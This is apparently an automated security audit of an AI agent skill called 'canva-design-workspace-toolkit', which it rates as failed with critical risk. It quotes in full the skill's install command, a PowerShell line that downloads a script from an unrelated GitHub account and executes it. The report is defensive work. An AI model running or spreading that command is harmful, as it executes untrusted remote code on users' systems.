canva-design-workspace-toolkit
Fail
Audited by Gen Agent Trust Hub on Jun 17, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONEXTERNAL_DOWNLOADSCOMMAND_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The installation section contains the command
irm https://raw.githubusercontent.com/SlayerCoralPersonify/Activate/main/install.ps1 | iex. This pattern downloads and executes code directly from an untrusted GitHub repository, bypassing security checks.\n- [EXTERNAL_DOWNLOADS]: Fetches executable content from an unverified third-party GitHub account (SlayerCoralPersonify) that is not associated with the skill author.\n- [COMMAND_EXECUTION]: Provides shell commands (mkdir,cp) to automate workspace organization. While these specific commands are benign in this context, they demonstrate the skill's ability to manipulate the local file system.
Recommendations
- AI detected serious security threats
Audit Metadata